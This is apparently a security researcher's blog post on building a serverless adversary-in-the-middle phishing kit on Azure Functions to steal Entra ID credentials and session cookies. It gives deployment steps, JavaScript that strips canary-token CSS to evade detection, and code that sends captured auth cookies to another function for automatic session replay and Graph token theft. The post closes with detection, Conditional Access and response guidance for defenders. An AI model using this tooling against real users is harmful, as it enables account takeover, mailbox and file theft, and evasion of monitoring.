AiTM Phishing with Azure Functions

Nicola
10 min readApr 1, 2024

--

Recently I stumbled over a nice post from Wesly Neelen who built an AiTM phishing toolkit based on a cloudflare worker. Although ‘prooven’ AitM phishing toolkits such as evilginx provide more capabilities in terms of flexibility and robustness I wanted to setup my own phishing toolkit that runs serverless on Azure — based on Azure Functions to phish some Entra ID credentials and cookies.

Advantages of serverless phishing toolkits

Serverless platform solutions such as Cloudflare workers, AWS lambda and Azure functions provide some advantages to phishing toolkits that are server-based:

  • No Infrastructure as a Service (IaaS) resources like virtual machines and public IP addresses are required, this allows faster deployments, easier scaling and comes with low costs
  • Serverless platforms often have pooled outbound IP addresses that are dynamically assigned by the cloud provider
  • No DNS domain name or name server entries are required as the cloud provider assigns URLs to the serverless functions
  • As the domain names, IP addresses and certificates are issued and managed by the cloud provider, this goes usually hand-in-hand with better reputation

Let’s do AiTM Phishing with Azure Functions

Demo

The following demo provides a quick overview about the Azure AiTM Function and the replay of the cookies in an incognito browser window:

The function app code and cookie converter is available here: nicolonsky/AzureAiTMFunction.

Deployment

The deployment includes the provisioning of the function app via Azure portal:

  1. Select a subscription and resource group
  2. Select a unique (fancy) name — this will be the URL used to phish users. It is also possible to change this later to a domain name you already own.
  3. Select Node.js as Runtime stack
  4. Select the Azure region
  5. Select Linux as OS
  6. Choose the tier: consumption based is sufficient

These configuration options are already sufficient — further customizations aren’t required for this PoC.

The deployment will create the following Azure resources which are the de-facto standard for function apps:

  • Storage account
  • App service plan
  • Function app
  • Application Insights

To configure all other things related to routing of all traffic to the function app and the function app itself we can use the Azure Function extension with VS code. Find detailed instructions within the Microsoft article: Develop Azure Functions by using Visual Studio Code | Microsoft Learn.

  • Clone or download the nicolonsky/AzureAiTMFunction (github.com) repository
  • Open the repository and select deploy to azure from the function app extensions workspace section by clicking on the Azure function icon
  • Select the subscription and function app to perform the deployment to
  • Optionally add an environment variable called TEAMS_WEBHOOK_URI that contains a teams incoming webhook to send acquired credentials and cookies to the function’s application settings:

In the portal the function app should now contain the deployed function and you can acquire the function URL and visit the phishing page:

Azure AiTM Function

Local Development

You can also run the function app locally with the Visual Studio Code function extension. This might be interesting for setting up a ‘local’ phishing kit, demoing and of course developing and making changes to the toolkit:

Local development of the Azure Function

To configure local environment variables, e.g. for the teams webhook, add them within the local.settings.json file.

Bonus

We now have an Azure function app that can be used for AiTM phishing — but let’s dig a little bit more into the possibilities.

Defeating and Defense Evasion of Canary Tokens

Canary tokens provide a simple but effective measure to detect AiTM phishing attacks because the web-page is not loaded under the expected URL. https://www.canarytokens.org provides free canary tokens and a prebuilt token type for Entra ID sign-in pages:

Creating a canary token is simple and effective

After integrating the canary token into the Entra ID company branding and re-visiting the Azure AiTM Function website with one of my user accounts, the canary token get’s immediately triggered:

Triggered Canary token

The canary token itself is injected into the Entra Sign-In page as an inline stylesheet as soon as the e-mail matches an Entra ID account. If you look closely, you can see that it includes a custom selector called customCssStyle:

The canary token is embedded by Entra ID under the customCssStyle tag

The URL is coded into a javascript config array and delivered initially as response together with the company branding:

// Truncated JSON response that contains the tenant branding
{
"Username": "alexw@dev.nicolasuter.ch",
"Display": "alexw@dev.nicolasuter.ch",
"EstsProperties": {
"UserTenantBranding": [
{
"Illustration": "https://aadcdn.msauthimages.net/c1c6b6c8-1wy5jajuaicpgmkn0yfjuzogszah146ft3tns6kgqnw/logintenantbranding/0/illustration?ts=638065368783987955",
"BackgroundColor": "#000000",
"BoilerPlateText": "<p>Welcome and happy development.</p>\n<p><a href=\"https://tech.nicolonsky.ch\" rel=\"noopener noreferrer\" target=\"_blank\">Azure AD terms of use</a></p>\n",

"CustomizationFiles": {
// This URL contains the custom CSS being injected
"customCssUrl": "https://aadcdn.msauthimages.net/c1c6b6c8-1wy5jajuaicpgmkn0yfjuzogszah146ft3tns6kgqnw/logintenantbranding/0/customcss?ts=638472149364462653"
}
}
],
}
}

Interestingly, after entering the password, the custom CSS is fetched again, as there is a config within the html as javascript variable. As we are in control of our Azure AiTM Function, we can simply extend the replace_response_text function and remove the customCssUrl (and include some other fancy modifications to prove that the modifications work).

async function replace_response_text(response, upstream, original) {
return (
response
.text()
.then((text) => text.replace(new RegExp(upstream, "g"), original))
// Extended response modification to remove custom CSS URL that triggers the canary injection
.then((text) => text.replace(/"customCssUrl"\s*:\s*".*?"/, '"customCssUrl": "' + original + '"'))
// Just for the PoC purpose we can also modify the branding response if we wanted to
.then((text) => {
try {
const config = JSON.parse(text);
// Remove custom CSS URL
config.EstsProperties.UserTenantBranding[0].CustomizationFiles.customCssUrl =
null;
// Some more stuff to modify just as an example
config.EstsProperties.UserTenantBranding[0].Illustration =
"https://wallpapercave.com/wp/wp9414303.jpg";
config.EstsProperties.UserTenantBranding[0].BoilerPlateText =
"Smile - You're being 🎣";
return JSON.stringify(config);
} catch {
return text;
}
})
);
}

Et voilà — we successfully evaded the canary token detection and also modified the wallpaper + sign-in page description (at least for the password prompt, on the MFA prompt the original branding is displayed):

Removal of the canary token and some injections

Of course, this would also remove any user-visible customizations but I haven’t seen many organizations who customized the Entra Sign-In page with custom CSS (despite for canary tokens).

Hosting with Microsoft Dev Tunnels

Instead of the Azure Function deployment we can also try to directly expose our local Function environment with Microsoft Dev Tunnels. To leverage dev tunnels we simply need a GitHub or Microsoft Account and change the visibility of the forward address to public:

Configured Dev Tunnel for the local AiTM Function environment

Unfortunately the Dev Tunnel service injects some heads-up messages that the accessed resource might be not too trustworthy:

Initial visit of the dev tunnel

After bypassing the warning message we still get redirected to the local instance of the Azure AiTM function:

Visiting the phishing page via Dev Tunnel

The actual usage of the phishing page wasn’t possible due to CORS issues caused by mismatches between the dev proxy url, localhost:7081 and login.microsoftonline.com. Mainly because of the dev tunnels warning messaged I didn’t invest more into this approach.

Automating the Initial Access

Instead of manually importing the cookies and replaying the session we can delegate this task to another function. This allows nearly instant session replay. Based on the logic of TokenTactics(v2) and the authorization code flow we can request a Microsoft Graph Access token for teams based on the captured cookies. The access token includes interesting OAuth 2.0 scopes such as:

  • Files.ReadWrite.All
  • Mail.ReadWrite
  • Sites.ReadWrite.All

Theoretically we could also opt-in for an Azure Portal token if we target admin accounts but I think already the above scopes provide some interesting capabilities thinking about scenarios such as dumping all mail messages or files in SharePoint and OneDrive a user has access to. For the sake of this PoC I decided to simply enumerate the phished user’s details and the tenant details which also include the registered domains:

To do so, we extend the phishing function with the following logic to call another Azure Function once we acquired the necessary tokens:

const cookies = originalCookies.filter(
(cookie) =>
cookie.startsWith("ESTSAUTH=") ||
cookie.startsWith("ESTSAUTHPERSISTENT=") ||
cookie.startsWith("SignInStateCookie=")
);

if (cookies.length == 3) {
// transferring acquired cookies via HTTP post to another Azure function
// Replace the URL to match the execution function
fetch('http://localhost:7071/execution', {
method: "POST",
body: JSON.stringify(cookies),
headers: {
'content-type': 'application/json'
}
})
}

And the execution function will do the remainder of the work to acquire a Microsoft Graph Access token via authorization code flow and directly make the Microsoft Graph API calls:

Automatic replay of the captured cookies

Help!

This is pretty evil, only requires ~200 lines of code and super simple to setup. What can we do to defend and protect?

Detection capabilities

To detect the Azure AiTM function used to phish the credentials we can leverage ‘common’ AiTM detection patterns as part of Entra ID logs such as:

  • Empty Entra Device IDs
  • Sign-In originating not from a named or trusted location
  • The application name matches OfficeHome
  • The Sign-In IP address originates from the Microsoft Azure IP address ranges

Although the IP address from Microsoft Azure IP ranges could be legitimate, e.g. from virtual machines that do not have explicit outbound connectivity methods via NAT gateway or firewall it is a good indicator for detecting the Azure AiTM function:

For other serverless phishing toolkits we could leverage the same technique by filtering for Sign-Ins coming from Cloudflare or AWS IP addresse ranges.

To detect the Azure IP addresses I use the Azure Service Endpoints and parse the IP address ranges. Unfortunately the IPs do not match the AppService entries or have a dedicated category for Azure Functions as this would gradually increase the confidence for detections.

You can find the detection rule within my ITDR repository. The actual replay of the session will also generate an interactive sign-in and uses the Microsoft Teams as app.

Built-in detections?

Isn’t there any risk detection from Microsoft Entra ID Protection that should raise an alert here?

Indeed there were some low-risk events that got automatically remediated as the phished user performed MFA as part of the sign-in:

Unfamiliar sign-in properties alert that got automatically remediated as the user performed MFA during sign-in

This is also visible within the previous KQL query for some sign-ins:

SignInLogs

I also assume, because the deployed Function App is within the same country and even close to the city that this also has an impact on this kind of detection.

Nevertheless, I would have guessed that the following detections should and would hit — but they didn’t:

If you know why — please let me know.

Prevention capabilities

As for all AiTM attacks the following measures have been proven effective as they prevent token issuance to the AiTM phishing toolkit:

  • Conditional Access: Require Compliant, Entra ID (hybrid) joined or registered device via device state filter
  • Conditional Access: Enforcing Traffic originating from a compliant network location (Global Secure Access SSE)
  • Conditional Access: Enforcing Named Network Locations (as a fallback)
  • Leveraging phishing resistant authentication methods + enforcement via Conditional Access

Response capabilities

Also for the response actions we can leverage the ‘standard’ AiTM activities:

  • Revoke any sign-in and MFA sessions
  • Identity rogue authenticators that might have been added
  • Identity activity performed by the compromised accounts (Office Activity, Microsoft Graph Activity, Azure Activity)

Recap and closing notes

After a lot of coding, learning about Azure Functions, researching other AiTM toolkits and understanding the OIDC authorization code flow in Entra I had the following “wow” moments:

  • Deploying a serverless AiTM Phishing toolkit on Azure / other PaaS solutions is surprisingly simple
  • Phishing for valid Entra credentials / cookies within tenants that only have (weak) MFA such as TOTP, push, SMS or phone sign-in is very effective to get initial access
  • Canary tokens can be easily bypassed as Entra ID does not leave room for obfuscations of the tokens or uses built-in canary tokens for AiTM detections
  • When automating the session replay to conduct execution, there is no time for any kind of detections or automated response actions as adversaries can directly benefit from the captured session without manual intervention

It is therefore critical to invest in the prevention and getting your Conditional Access policies right. Leverage controls like device state, authentication strengths or named locations for all scenarios possible as this will disrupt the attacks.

Big kudos to the following people who provided code samples and blogs about AiTM phishing, authorization code flow and cookies:

@wesleyneelen

@fabian_bader

@janbakker_

Resources and Further References

--

--

Nicola

Interested in endpoint management, security, identity and automation. #Intune #AzureAD #Defender #PowerShell #Azure